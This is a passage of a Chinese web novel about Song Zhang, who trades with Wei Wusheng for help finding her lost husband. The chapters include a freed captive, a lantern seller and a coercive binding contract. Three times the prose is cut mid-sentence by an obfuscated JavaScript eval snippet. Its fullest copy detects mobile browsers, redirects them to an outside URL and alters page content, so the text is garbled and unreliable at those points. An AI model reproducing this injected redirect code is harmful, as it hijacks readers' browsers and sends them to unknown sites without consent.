宋璋看着那篮还挂着水珠的春杏,笑了笑,“魏郎君不喜食杏,更不会给我送杏,李郎君的好意,又何必假托他人?” 李裕闻言有些惊讶,“你知道三郎不喜欢吃杏?” “过去的事我不知道个中情弊,也不知道曾经的陈宝为何会变成现在的魏三郎,不过我想您与魏郎君情谊深厚,必定是知晓当年事的,又何必故作此问呢?” 她曾在陈家侍奉陈宝多年,她对陈宝的了解,陈宝对她的了解,依照二人的交情,李裕想必也都一清二楚。 李裕道:“宋娘子误会了,我不是有意提起,当年事......”说到此,李裕叹了口气,“也不妨告诉娘子,说是皇家密辛,其实也不过是寻常人家兄弟相争的杂事。” “太子...废太子死后,郎君的生母便改嫁,留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“三郎的确有很多下人服侍,一个从六岁起照料他的侍女,叫绿珠的。同他一块长大,一块吃饭,夜里守着他睡觉,可以说是他的亲姐姐。有一日郎君生病,吵着要吃冰杏。我父亲对三郎的身体很重视,平日不许他多食,又在病中,无人敢给他吃杏,他便也不吃药,这么干耗着。绿珠不忍心,摘了新鲜的一篮杏在井水里湃过,进去打扫的时候悄悄喂给他吃了一颗。被我父亲撞见,当即将她赶了出去,把她卖到了距陈丰五百里的新柳郡。” 李裕道:“三郎身边其实没有一个亲近的人,也不允许这样的人出现。但是他对你不一样,那段日子,他常常和我提起你,说你给他做了什么好吃的,给他带了什么好玩的。” 日头渐渐从东边往西边移动,阳光从窗子照进来,李裕说着忽然双手交叠,对着日光作出了一个姿势。宋璋的目光落在了墙壁上那只张着嘴移动的狼影上。 他的耳朵一边动着,嘴巴一张一合,看上去有些蠢笨。 李裕笑道:“这还是三郎教我的,他说是你做给他看的,我笑话他蠢,他还气得打了我一拳。” 宋璋脑中浮现了小少年惊喜的模样,那天太阳很好,她把他抱到美人椅上,盖了一床被子,挪到了窗下晒太阳。他平日整天不是躺着就是坐在床上,骨头自然松软,脸色也苍白。 那时候她刚到陈家不久,陈夫人整日耳提面命,下人们也惫懒欺生,照顾陈宝的活计都推给了她。陈宝怏怏地靠在椅背上,阳光照在他脸上,皮肤白皙到了一种病态的地步,皮肤下的血管清晰可见。看着窗台的那盆开得正艳的海棠,她觉得这似乎使得他更没精神了。 于是她蹲下身,莫名地学了两声狗叫。 “呜汪!汪儿!” 少年微皱着眉头,似乎有些惊讶地看向了她。 她笑着,对着那墙,用手摆出了一只狼的姿势。 他紧皱的眉头渐渐松开,眼睛里露出一种迷惘,怔愣着,一双柔软的大手忽而握住了他,她将他右手叠在左手虎口,拨弄起了两只大拇指。 他抬头看向她,正看见少女对着白墙专注的目光和嘴角金色的梨涡。 宋璋回过头时看到的就是少年漆黑的眸中惊喜的目光,这么多天以来,她第一次感受到原来他这幅枯木一般的身体里也含着生机,连带着那病弱的苍白竟也似乎多了几分血色...... 杏黄的汁液落在了手背,酸涩的味道渗进牙里,将她从那梦一般的回忆中拉了回来。看着金黄甜美的杏子,其实还没有成熟。 “你想要什么,不妨直说。” 李裕道:“陛下新封了三郎为陈丰郡公,三郎的前途一片光明,如今形势大好,正是需要能人异士的时候。娘子的左眼存着一颗妖丹,虽已破碎,却可拿来炼丹。” 他又补充道:“三郎那日没有说清楚,不是要娘子的眼睛,我略通些方术,可通过玉笛将妖丹取出,只要娘子是心甘情愿,绝不对娘子身体有任何损害。” 宋璋挑眉,似有意动,“我有两个要求。” 李裕见她这是松了口,笑意更加殷切,“娘子只管说。” “第一,我要做陈丰的县主。” “这个...”李裕笑意一僵,“我们郎君只是封了郡公,这封爵赏邑之事是陛下做主,我们实在是不好......” “你们郎君既然能凭借驱逐倭寇挽救陈丰之功得到封赏,我大敌当前,带领家人守住门户,护卫一方百姓,配合你家郎君杀了倭寇头领,如此巾帼骁勇,若由你家郎君上表陈奏,我想礼部和陛下都会酌情封赏的。” 李裕看着眼前笑颜如花的女子,眼皮一抽,笑容也多了几分拘谨。三郎说的不错,还真是...知人知面不知心呐。这小小年纪,怎么就算的如此...... “若是有些为难便算了,我......” “不为难,不为难。这个虽然有些麻烦,但是可以商议,我回去和三郎商议商议。“李裕讪讪笑道,“那第二个条件。” “第二个条件就是找到我夫君,让他来陈丰郡城门接我,你们把我送到城门即可。” 李裕松了一口气,“这个好说,就这两个条件了吧。” 宋璋点头,“先把我夫君找到把我送回去,然后等旨意到了,郎君届时再来找我取。” 李裕点头正要答应,忽然便见阿宽走了进来,对着他一阵挤眉弄眼。 李裕正要成事,不耐地拿着尘尾朝他挥了挥,“干什么,干什么?” 阿宽看了一眼宋璋,又对他使眼色,李裕走了过去,又被阿宽拉到门外。 “你最好有紧要的事找我。”李裕那双狐狸眼顶着烈日,眯成一条缝隙。 阿宽道:“是紧要事,郎君让我赶紧来告诉你。” 阿宽压低了声音,“宋娘子要找的那两个人,一个被倭寇发现一刀砍死了,一个那个被南蛮子抓去了,我们也打听不到在哪个洞里。” 李裕闻言心下一紧,烦躁地皱了皱眉,才要说定,竟生出这般变故,也不知死的是哪一个。他想了想,“这事先别张扬,千万不能告诉宋娘子,不然就是坏了郎君的大事了。” 阿宽点点头,正要说话,忽听得咚得一声闷响,一枚金黄滚圆的杏子从那鹅黄的裙摆下滚到了外面,撞在门槛上,又滚回了绣花鞋边。 阿宽抬起头,正看见女子怔愣的一双眼睛。 37. [锁] 该章节由作者自行锁定 “你说你是不是故意的?” 李裕怒气冲冲地推开魏无笙的门,夺过了他手里的茶。 “什么故意的?” “她马上就要答应了,你这时候叫阿宽来找我说舒玄礼找不到的事,这不是故意搅坏这买卖,要把她留在这儿么?” 李裕警告道,“三郎,这女人可不是好惹的,以前的亏你还没吃够么?她的心不在你这里,如果把她带在身边,指不定哪一日就要卖了咱们,多年来的心血就付之一炬了。” 魏无笙淡淡道,“我知道,所以不是你想的那样。” “那你是怎么想的?” “她要让我给陛下上书封她做县主,你不觉得这要求太荒谬了么。”魏无笙带了些许嘲讽的意味。 “她觉得这买卖不划算,要一喝二的,分明觉得我们占了便宜,拿她没办法,我可不会一直忍着她。得让她知道找人的麻烦,一个月两个月,一年两年,如此辛苦,又寻的是她的夫君,这买卖足够抵偿她的那颗妖丹了吧。” 李裕想了想,还是带着怀疑,“如果她不愿意呢?” “那就没办法了,先把她关在这里,以后在想办法。” “我愿意。” 门外传来宋璋的声音,她推开门看向魏无笙,“我答应你,只要你帮我找到他。” 李裕闻言一阵欣喜地看向魏无笙,魏无笙的面色却似笑非笑,沉默了一会儿,他道,“南蛮洞在安平山附近,明日我们正好要出发安平郡,你随我一道去吧。” 一进城,魏无笙一行就向平安郡守递了拜帖说明了原委。拿着官府的文书,他们顺利抵达了南蛮境地。他们盘踞在此,也不愿当真得罪官府,加之来人所备银两丰厚,看着那两只大匣子,他们痛快松了口放人。 王冕终于见到了分别十年的好友——他几乎已经认不出他来,尽管他的记忆也本就模糊。 姚术被掳去南蛮时十九岁,现在不过十年,已经完全改换了面貌。他穿着一身打着结的灰褐色破洞毛衫,两只胳膊裸露在外,粗糙的皮肤交叠着新旧不一的伤痕,是鞭子打的。 这十年,他在南蛮洞里看羊、喂羊,和羊一起睡觉。他替他们放羊,同时也是他们豢养的羊。蛮子用鞭子驱逐惩罚他,他的脚上钉着人蹄(两块木板并两条长钉穿透脚掌,好容易长拢的肉又因方才拆下的摩擦渗出血来,洞口流着脓血),毛衣覆盖的这幅躯体发出瘟羊的濒死的恶臭。 长长的毛发没有梳理,也同羊毛一样打着结,他不敢抬头,双腿因疼痛几乎站立不起,颤巍巍打着摆子。王冕扶住了他,用手拨开发丝,那双空洞的眼终于有了些许生机。 震惊、喜悦、愤恨,两只眼睛只是哭泣,似要流尽这些年身体里的苦水。 “十年不见,我险些认不出你了。” 王冕哭湿了衣襟,声音颤抖。 姚术从震惊中清醒过来,两腿一屈,扑通一声跪倒在王冕面前。 “王兄与我不过泛泛之交,当年被蛮子捉去,四下无亲,以为必死无疑。在这蛮子洞里苟延残喘,不想有朝一日还能重见天日。兄长救命之恩,姚术没齿难忘,结草衔环,生生世世,愿为牛马,供君驱使。” 王冕见状也跪了下来,“我当初一介贫寒书生,能得恩相录用,全赖姚兄举荐。危急之中,兄以身相护,引开了蛮子,我才得以保全性命。今日所为,不过偿兄长大恩,何至于兄长如此对我,实在是羞煞我了。兄长快快请起。” 李裕道:“我以为二位是至交好友,原来竟只是泛泛之交。姚郎君能舍身救人,王郎君呢,十年辛苦,千金赎友,二位都是大义之人,李裕敬佩。” 魏无笙也颇为赞赏,“二位豪勇侠义,又有谋略,不止可否有幸请二位共入我府中为我主事,俸禄虽微薄,但无笙一片赤心可鉴。” 王冕向姚术介绍了魏无笙的身份,听闻他驱逐倭寇,救下陈丰郡百姓,又襄助王冕以千金救赎自己,心中觉得这位皇孙将来必定大有作为,也是英勇惜才之主,故而就此随王冕一道拜入魏无笙府中。 眼见几人其乐融融,惺惺相惜,宋璋道:“魏郎君,我夫君呢?” 李裕道:“那南蛮头子说近来新进了许多人,已经去找了。” 正说着,便见那蛮子走了过来,“你们说的那个人不在这里。” 宋璋一听脸色就变了,“不在这里去了哪里?你再找找看,他叫舒玄礼,高高瘦瘦,眼睛很大......” “各处都找过了,一个姓舒的都没有,别说什么李啊桃的了,你去别处找吧。” “怎么可能没有!不在你们这儿还能在哪儿,你告诉我他在哪儿!你把他还给我,把我夫君还给我!” 宋璋有些激动起来,那南蛮叽里咕噜骂了一句,眼见着要动起手来,魏无笙长臂一伸,将她锢在了怀里。她也嘴里开始咒骂起来,欲要撕着蛮子不得,一口咬在了魏无笙手臂。继而颈边一麻,她失去了意识。 眼泪在狭窄的眼皮中横冲直撞,冲开干涩的通道,从眼头落了下来,两条透明的丝线,在烛火的映照下闪烁着黄色的光,从这光里,魏无笙看出了几分神圣。 他怔怔地,没有伸手去摸,只是观察着她。 她在哭,为谁而哭?是为了她的丈夫。 他从前也见过她哭。她想上学,夜里偷偷地蹲在窗边,用手捂着脸啜泣。然后他满足了她,他去向陈夫人大闹,她那双兔子一样红红的眼睛恢复了平静温柔的神采。 她的眼泪曾经属于他,可是现在…… 他伸出了手,摸了一滴泪在指腹,温温的,不热也不凉,所以没有一丝刺激,反而因这无知觉的温催促出几分痒。 从指端伸到心里,像是有一只狗尾草悠悠地挠着,恨不得掏出心来抓两把止痒。 她蓦地睁开了眼,他又恢复了淡淡的神色,指腹还湿润着,两指一搓,试图搓去这水,却依旧剩下几分盐水的粘腻。 宋璋醒来时那两行泪顺着脸颊滑到了下巴,走完这一条必经之途,只看得见盈亮的印子。她无知无觉,却下一意识看着魏无笙。 他斜着身子在看窗外。 狭窄的马车里因为走了两个人显得空旷。 “他们呢?” “去买酒了,今晚要庆祝一番。” 庆祝找到了他的朋友,宋璋心中压抑的心绪再次难受起来。 “放心,无论天涯海角,我都会帮你找到的,有生意在。” 他一副无所谓的态度,他当然放心当然不急,他要她的眼睛,随时都不晚。可玄礼不一样,她不知道他在哪里,受了什么苦。每拖一分,她的心就难受一分。 而这人的眼里只有他的生意…… 她也转过身去,打开了车窗。 今天不知是什么日子,安平郡的这条街上热闹非常,马车停歇处正摆着一架两人高的竹架,悬挂各式各样灯笼。从这里往前望去,一条道望不到黑,亮盈盈地直伸到尽头。 “花灯、鱼灯、彩灯、走马灯嘞……” “九文一只,二十文三只了——” 那老板看见她伸出来张望的目光,殷切招揽,“姑娘,我们这儿什么灯都有,都是自己做的,来看一看吧。” 老板不缺生意,摊前站了几个姑娘,仍不忘抽空揽客。 “这个多少钱?”有个姑娘指着一架做工精致些的灯问。 “那个三十文一只。” “这么贵?” “那是走马灯,您看那做工,您再闻闻那味,里面的画儿也是我上官学门口找那些学生们画的,用的是素绢,颜料也是好料,不掉色的。而且啊,您上前面转一圈回来,就知道我这是最便宜的了。” 虽是小本生意,老板做买卖也有策略,说完这一通,那女子似信非信,他也不急躁,只笑笑拿过另一只小灯,“这个好看,也精巧的,拿这个也好。” 长了目光,有了对比,那女子的眼就只容得下那一只最精巧的走马灯。她扭头看着摊上那些小灯,手里还是拿住了那走马灯。 “罢了罢了,就要这个了。” 老板笑得更殷切了,“也好也好,您拿好。” 她的目光在绣球灯上停住,手指覆盖着,心里其实并没在意。她只是不想和魏无笙待在一个空间,她总是觉得有一双狼似的眼睛在暗中窥视着她,尽管他看上去面色平淡,如目空一切。 一双手夺过了她手里的绣球灯,“这个拿一个吧。” 手里的东西莫名被夺走,她眉头微皱看了他一眼,懒得与他争夺,松了手去看其他。 他付过钱后却将那灯给了她。 她瞬时厌恶起了那东西,“做什么?” “不做什么。” “我没有东西和你换。” 她走开了那摊子,往前面走去。一条狭窄的街道车挤车,人挤人,摩肩擦踵,声音嘈杂,她却能分辨出他的脚步。一种闲散的,却带着分寸,因在动物的掌控范围内,故而打着哈欠伸着懒腰。 可是那双貌似松懈的眼睛深处紧紧盯着他的猎物,一旦超出领地范围,便踩住尾巴,张开獠牙将它叼回掌下。 她敏锐地直觉到那身完齐整挺拔的衣冠之下,是一只站着走路的野兽。为了在人类世界信步,暂时收起了獠牙,修剪了粗硬的毛发,换上一张人类最爱的羊羔皮子。 她走得更快了,专门从拥挤的人群中穿梭,一次,两次,三次…… 她带着怒气转入了一个小巷,那种逼仄的感觉终于暂时消失。取而代之的是熟悉的阴冷。 其实有灯,不过几盏残灯,在高耸的灰墙与沉重的夜色之下,并没什么存在感。 “姑娘买灯吗?现时定做,存留回忆,很漂亮的。” 她停住了脚步,巷尾尽头是一户人家的侧门,石台阶上摆着稀稀疏疏几盏灯,妇人怀里抱着一个孩子,坐在台阶上,仰头冲她笑着。 她卖的是走马灯,竹架做成亭子模样。灯里面放的是一张白纸,漫无目的地转着圈。 要说漂亮,绝不会比外面巷子那些灯样式多,颜色艳。她拿起那灯细细打量,灯架的边缘很平滑,没有一点扎手的倒刺,摸上去像在摸玉一样,圆润光滑,触手生温。 里面的白纸朦朦胧胧,比蚕丝细腻,比牛乳清练。质朴的工艺,让人感到舒适轻松,蜡烛散发着淡淡的香气。不浓郁,靠得很近才能闻到,它释放得很慢,像它旋转的速度一样,恰到好处。 花香无论多么芬芳,到了人身上,总是有矫饰之嫌。冒冒然贴上去,又冒冒然消失,散去。从这香气中就仿佛可以窥见一朵花的盛放与衰败,人们孜孜以求花香的持久、浓郁,正如对青春永驻,寿命长久的那种渴慕,疯狂、执着而又卑微。 可是它不一样,宋璋摩挲着底部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你怎么知道我心里想着谁?” 女子轻拍着怀里的孩子,“来这儿买灯的都是一传十十传百,老主顾荐来的。谁不是心里思而不得,郁郁寡欢,所以寻了来,姑娘不也是?” “我是和人走散了来的。”她不是这人口中引荐来的新客。 “那便是你我有缘了,也无妨。”女子见她驻足在这里,心中晓得这生意已是成了。她将孩子抱起放在门边上,开始将敞开的匣子里一些瓶瓶罐罐倒出,粉末融了水,细细研磨。 她一边问,“说说他是什么样子吧。” “他生得很好看,皮肤很白,头发很长,摸起来像缎子一样。眼睛圆圆的,笑起来弯弯的。喜欢穿浅色的衣裳,月白色最好看。” 女子润了笔,用镇纸将一张新纸铺开,低头作画。 “他喜欢什么?” “喜欢读书,喜欢吹笛,喜欢吃山药糕,毛尖茶。” 三张小图已经作好,画中的人没有脸,动作衣着与他很像,一片芍药花丛之中,他坐在石上,她躺在他怀中接着掉落下来的花瓣,他则捧着书,神情专注。第二张她在抚琴,他在吹笛。第三张他独坐桌前,吃着点心。 她不由惊叹这女子的画功,寥寥几笔,分外传神。 “什么味道?” “嗯?”宋璋没反应过来。 “我是说他身上常熏什么香?” “芍药香吧,他喜欢白芍。” 女子点点头,画作已经完成,她拿过一盏新的灯,将那画插进了灯里。又另拿出一支蜡烛,滴了几滴瓶子里的液体,装在匣子里,递给了她。 付了钱,她看见女子仍旧坐在那里,对她笑着摆手,“喜欢的话下回再来。” 买灯哪有回头客的,她想,越是生意不好的,越是出奇,务必要坑一个冤大头,狠狠敲上一笔,一个人就顶了百人的花销。 她连钱袋都丢在了那里。 不过无所谓,是魏无笙的银子。 转出巷口,那熟悉的脚步便再度追踪上来。他手里依旧拿着那花灯。 “他们已经回来了,走吧。” 宋璋提着一盏灯在前面走着,一千钱,买了一盏不亮的灯,平平无奇,甚至在他看来有些粗陋。 他的目光落在了走马灯的那画上,他从没见过那男人的样子。会通文墨,会潜心科举,会吹笛赏花…… 谦谦君子,这样的男人满大街都是。 看着一样地温润谦和,一样地矜守礼,其实貌似高洁的皮囊之下烂得各有千秋。 人嘛,其实都是那么回事,和动物、植物都没什么区别,一样地有生命,一样地从出生开始就注定消亡。有的果子从外面烂起,烂在左边,右边,筐子底下看不见的地方,有的从里面烂起,扒开鲜红水嫩的皮肉,乌黑腐烂的果核像蛆虫一样向外啃食。 她喜欢烂在里面的,那为什么不是他?他和那个男人有什么不一样的? 她不一样。还存有一点良知,一点“仁慈”。 一千文的素灯,漫天要价,因为同情那对母子,甘愿做这个冤大头。 冷面热心,对着旁人。 热面冷心,对着他。 他冷哼,从胸腔里哼出的这一声音猛然传了回来,狠狠敲撞着他的心。 悸动着…… 一种奇异的,悸动,无规律的跳动,意味着失控危险,让他浑身难受,可是这种痛苦又随即牵引出痛苦下的愉悦。 痒……被鞭锤过后的痒,痛苦的叠加反止住了血肉深处的那股躁动。 他袖中的手微微颤抖着,微笑的面孔上,眼皮紧绷着微微跳动。 只有他,享受这般待遇,见过这般阴郁。 38. 天涯海角 回程时候突然下起大雨,劈头盖脸打在李裕脸上,摊贩们拉了车回家,原本热闹的街道顷刻间冷落下来,空空荡荡。 充当马夫的李裕不愿走远,就近找了一家弘福酒楼住下。 酒店装饰很老旧,但店主却是个整洁的人。伙计在柜台上打着盹,老板装束的青年倒也不生气,弯着腰擦着桌子,整理着上一位客人留下的残羹冷炙。擦得锃亮的地板蓦然多出他们几只脚印,将一派温馨的和谐打破。 “客官是住店还是吃饭?” “住店也吃饭。”魏无笙出手向来大方,“最好的上房五间。” “好嘞。”老板收拾了碗筷,敲了敲柜台,“别睡了,把客人的行李放上去。” 老板又问:“各位是在这儿吃还是送去房里?” “送到他房里吧,上些好菜,酒水就不用了。” 魏无笙好静,金口一张,老板和伙计抬来一张较大的方桌,换掉了李裕房中的小桌。 李裕倒着酒,牙齿咬得嘎吱作响,“三郎这么好客,怎么不摆到你房里去。” 一会儿满屋子饭菜味,他还得开窗通风,不,是通雨。 大风伴着雨珠呼呼地吹着,斜雨打在窗上,啪啪地响。他料想靠窗的院里种了很多花木,潮湿的腥味伴着冷雨飘了进来。 “到了夜里还怪冷的,叫伙计加两床被子吧。”李裕扶着手臂,拉紧了窗子。 因为顾客不多,老板又是闲不住的,放下手里的活亲自端了菜上来,听见李裕的话,立刻对着楼下喊道:“福儿,拿五床被子来,再拢几盆火。” 不一会儿福儿就抱了五床被子走上楼,他们说着话,砰地一声,先见到一摞厚厚的棉被艰难地挤过门口,而后才看到人的一双脚。 “这憨货!”老板似乎有些无奈,“我是叫你拿五床被子每个房间一床。” 福儿静静地站在那处,棉被盯着他们。老板看不到他的脸,只得先抱了一床铺在李裕的床上。 王冕爽朗笑道:“你这伙计力气还挺大,是个当兵的好苗子。” 老板虽然是个男青年,做事却很利落,他将一方叠成一团的被子放在床中央,向四面铺展开,用一双细腻的手从褶皱的开端向右抚去,一阵风似的,轻细又干脆,发出滋滋的摩擦声响。然后牵起翘起的四个被角,将挤压在一团的棉花肉抖散,拍开,直至松软,棉花均匀地分散在被边,再用手侧一刮。一丝毛边也没有,软得一坨水一般,那水红的被褥便完全放松地躺在床上,等待着顾客的光临。 “不成不成。”铺完被子,他从伙计手里接过两床被子,减轻了他的负担,伙计的脸这才露出。“他是个哑子,头脑也呆笨,去了军营只知道吃饭睡觉,还不得被人当猪宰。” “他是哑巴?”王冕觉得看不出来,不过这人神色呆呆的,从走进门就没说过一句话,都是老板忙活,倒也确实和常人不同。 “小时候他娘怀他,吃坏了东西,生出来就不会讲话。” “那老板娘呢?” “早早就抛下我们走了,本来想换个地方谋出路,只是一去三年五载,放不下他,只好守着这旧店,零零散散地做着,来住的都是外客,熟客们不过在这里点壶茶,聊聊天,挣不了几个钱。” 他说的走不知是哪一个走。王冕忽然间有些沉默,似乎有几分感伤,“独身带孩子,实在是不容易。我离家十年,孩子也不知如今是什何模样。” 李裕有些惊讶,“你有孩子?” “姚兄出事时犬子只有三岁,我家娘子和我商议,变卖了家里几处田地、嫁妆,又找亲友借了钱,三年五载还不上,我不敢回家,后来兜兜转转,失了音信。” “公子夫人原在何处?我们替你寻来,过几日一道去了陈丰。” “不必劳烦,其实他们就在安平郡,若是没有离开的话......” 李裕道:“竟就在此处,那早知便该一径提了好酒好菜去你家拜访才是。” 王冕道:“雨势这样大,又劳烦李郎君驾车,若是因此生了风寒便是我的罪过了。明日再去也使得,我也想装束一番,不致吓着他们母子。” 掌柜闻言看了王冕一眼,“郎君来访亲啊?不知要找何人,我也帮着问问。” 王冕道:“枫露街王乔巷里,内人姓温,今年...也有三十了。” 掌柜闻言又看了他一眼,似乎在想些什么,李裕道:“掌柜,你可认得这户人家?” “我记得姓温的娘子倒也多了,只是记不得住在何处,不知道说的是哪一位。” 王冕摆摆手,“无事,今日不说我的事,该是为姚兄庆贺脱离苦海才是。我敬诸位,感谢诸位帮我奔走,出钱出力,我王冕日后定当倾心相报。” 众人客气了一番,这当中数王冕和姚术最为高兴。两人脸上已经有了几分醉态,述说着当年两人在丰都将军帐下的辉煌故事。宋璋听得聒噪,没理会他们,王冕举着酒杯对她道:“别泄气,宋娘子,你夫君一定...嗝~一定能找到的。” 更吵了,宋璋被酒气熏得吃不下饭,皱了皱眉。 李裕有眼色地拉过王冕,给他碗里夹了菜,“王兄,多吃点儿菜,喝酒伤身。” 宋璋已经站了起来,往自己房间走去,刚要关门,魏无笙跟了进去。 ...... 她的脸色直白的难看,魏无笙道:“舒玄礼的事,谈谈吧。” “谈什么?我要回家。” “遭此大难,舒氏一门,人丁凋落。沈老夫人惨死刀下,舒家二郎失踪不见,舒二夫人被掳去贼窝义不受辱,吞金自尽,官府送来的贞烈碑尚在舒家后院立着。宋娘子已经是那贞烈的鬼了,何能再去人间?” 他调查过她,一个不受婆母待见的儿媳,前些日子还与一桩杀人案有勾连,失了丈夫的爱,被送往青云山清修。现在偌大的家业由舒家大郎把持,她早就回不去了。 宋璋默了默,是啊,舒玄礼一走,她就成为一只孤魂野鬼,能去哪里呢? 魏无笙无声地笑了笑,“我们的生意还作数,你可以重新和我谈一谈条件。” 和他做生意的机会,不是谁都有的,她想要什么,他都可以满足。 金银珠宝,房子铺子,哪怕是肖想做他的妾室,他都可以答应。 最近他发现,他对他的喜爱分毫没有减少,多年来的怒气是因为当初的背叛,恼羞成怒。 但转过头想,倒也可以原谅。毕竟她当初那么可怜,瘦弱的一只猫儿似的,被伯母卖到陈家,如果不是遇见他这么好脾气,还不知要受多少委屈,多少捶打。 弱小得没有自保的力量,她只能隐忍,压抑着一切的想法,软声叫着讨好主人。 虎狼环绕之地,伺机逃离,逃向另一处寻求庇护,是动物的天性。 只是她还太小,太单纯,投错了人。 市侩的商户之家,摇着架子支上金翅膀的土鸡,伸一伸手,从鸡毛缝里渗落好几滴雨,全落在了她的头上。 她当初离开他,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110002|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过是为了寻求一片庇护之所,穿衣吃饭,人伦大理。 哪里知道这舒家看着富贵,不过烂砖碎瓦,轰然倒塌,害得她辗转多遭,差点没被砸死。 幸而,遇到了他。 他可不是那个窝囊的短命鬼,她想要什么他都会满足她。 “我要你帮我找回玄礼,不论要多久,我都愿意等,活要见人,死要见尸。条件,任由你开。” ...... 她看见男人笑了,“你之前不是还想当县主吗?我只做一桩交易,到底要什么,想清楚了再说。” 魏无笙似乎不耐,笑容带着冷意,转过身要走。 她怕他不愿答应,急迫道:“只要找到他,其他的什么也不要!” 他转过脸来,是笑着的,宋璋却闻到危险的气味。 他伸出了手,朝她脸上袭去,她下意识要躲,忍住了惧怕,紧紧闭上了眼睛。 眼睛的疼痛并没有传来,她听见一声响动,银光划过她耳际,发丝断落空中,飘到了他手心。 “李裕蠢笨,我身边正缺一个奴仆,穿衣吃饭,铺床叠被......” “可以。” 那道银光绕着他掌心打转,平直的光像涨潮的浪一般扭动起来。 “最重要的是听话,我要你做什么,你都要听命。” 她干脆道:“可以。” 他莫名地冷笑了一声,“不要心里打着算盘,嘴上一径答应,我是要结契的。” 宋璋这才皱眉,“人还没找到,你就要我结契?” 还没算全失去理智,他面色微豫,“既然如此,各退一步,子母契。母契在我,子契在你。子需从母,母若伤子,亦遭反噬。也算彼此牵制。” 不待她回应,她便闻到一股烧焦的味道,魏无笙断下一缕头发,与她的一块,在磷火中相融。接着,宋璋感到耳后一阵灼烫,一滴褐色液体附在了耳后,化作一颗深色的痣,与表皮齐平。 魏无笙没什么反应,“明日记得把早饭热水端过来。” “伙计会送过去的。” 人已经走出了大门。 阴晴不定的疯子。她把门关紧,走到桌前,拿油灯点燃了那只蜡烛。 白芍的香气渐渐充斥在整个屋子里,环抱在她身边,她吹灭了所有的灯,所有的疲惫顿时卸去。 白芍啊,唯有这味道,让她感到安心,仿佛他就在眼前陪伴着自己。 魏无笙站在窗前,任凭豆大的雨点打在身上,他神色冷冷的,面无表情地将一壶热茶浇在墙根盛放的一丛丛小白花上,又白又肥,花瓣表层凝结着厚厚一层白膜,花肉吸吮着雨水与肥料,肥得能滴出油来。也不知是什么野花,味道又臭,长得又丑。 热茶淋在柔软肥厚的花舌上,它们瞬时萎缩下去,连带着周围的杂草,发出皮肉烧焦,汁液渗透蒸发的花草腥气。 他关上窗,连带着沾湿花腥的茶壶扔在了桌上。 净了两盆水,用丝帕擦了手,然后侧躺在床上。他枕着自己的手臂,缓缓闭上了眼睛,摸着耳后的那一枚黑点,粉白的唇微微舒展开。 真好,他的玉兰花,又回到了他的手里。 她要找他,天涯海角,海枯石烂。 这话刺耳,却也让他高兴。一日没有他的消息,她就一日属于他,一年,十年,一辈子过去,他一辈子都不出现,她就和他度过了一辈子。 他最好永远不要出现,否则,他会让他的尸首散落天涯海角....... 39. 卖灯笼的女人 笛声悠悠传来,不时有间杂的琴音,是他们共制的曲。 是玄礼在吹笛。 玄礼——你在哪儿—— 玄礼—— 四周下着雪,一片刺眼的纯白,像玻璃渣子扎进眼里。她渐渐迷失了方向,只是迎着风雪,在一片荒芜中前行。 笛声忽远忽近,她走了好久,不知道多久,终于眼前模糊地浮现出那个影子。 她欢喜起来,呼唤他,“玄礼,我终于找到你了!” 他对着一丛芍药吹着笛子,似乎没有听见她的呼唤。 距离有点远,她拎着裙摆跑了起来,前面是一条冰河,水里的鱼清晰可见。她小心地踩了上去,朝他的方向前行。 那头春花袅娜,绿意盎然。于花丛中突然出现了一个陌生的女子,她抱琴走到了他跟前,与他共奏。 是谁?那是她的琴,她的绿倚!凭什么给她? 她有些失态地喊着舒玄礼的名字,那头他似乎终于听见了她的声音。 只是朝她看了一眼,宋璋打了一个寒颤,他从来没有过的眼神。愣愣地,他将眼神收回去,又转头吹着笛子。 琴音渐渐停了,那女子在他耳边说了些什么,接着抱着那把琴逐渐朝她走来。 不,不要! 脚下的冰骤然碎裂,琴弦噔地一声随着断木弹开,沉入冰冷的水底。 她看见那女子对着舒玄礼的笑,他停下了笛声,将女子揽入怀中。他们笑着,看着她沉沦,逐渐被水吞没。 她的心很冷,身体却逐渐火热,在温热的水里,她被包裹着,如同婴孩在母亲的子宫里。暗流涌动,翻滚,一圈一圈托举着她。 漫天的水柱变幻做一条巨蛇,袭向了岸上的人,那女子被水柱穿胸击退,白芍一片水红,染了艳色。 男子惊恐地看着,方才凶狠撕咬的水蛇却止步他面前,低下头,化作一滩柔和的水波,将他缓缓拖了起来。 水流从底部延伸开,一条,一条,越过他头顶,形成了一个晶莹剔透的牢笼。 他把这叫做牢笼。 是牢笼吗?明明是为他精心打造的水晶宫。纯粹的,洁净的,不染一丝尘埃的水晶,就像她对他的爱一样,无论他做了什么,变成什么样子,她都会永恒地爱着他。 她爱他,胜过母亲,胜过夫妻。 不求孩儿功名显扬,祖宗面上有光;不求夫君关怀疼爱,庇护妻儿。她只求他能在她身边。 如果这还不叫爱,那什么才是呢? 镜子里的男子一身白衣,端坐在前。女子坐在他后面,掌心捧着他乌黑的鬓发,用沾了油的玉梳轻柔地梳着,像是对待一件稀世珍宝,不自觉地有无限爱怜。 梳梳头, 一梳梳到发尾,二梳白发齐眉,三梳儿孙满地,四梳永谐连理……九梳乐膳百味,十梳百无禁忌。? 袖子不慎卷翻了桂花油,淌在他衣袖上,男子丝毫没有反应,仍旧低着头,只是注视着手心的芍药花。 她替他用帕子擦了又擦,油渍已浸透了丝帛纹理,她有些恼怒起来。将他外衣剥去,精心挑选了一件同色的衣裳,替他重新穿上。 “玄郎,抬头,让我看一看。” 她微笑着,男子没理会她。她无奈抽走了他手心的花,仔仔细细打量着男子。 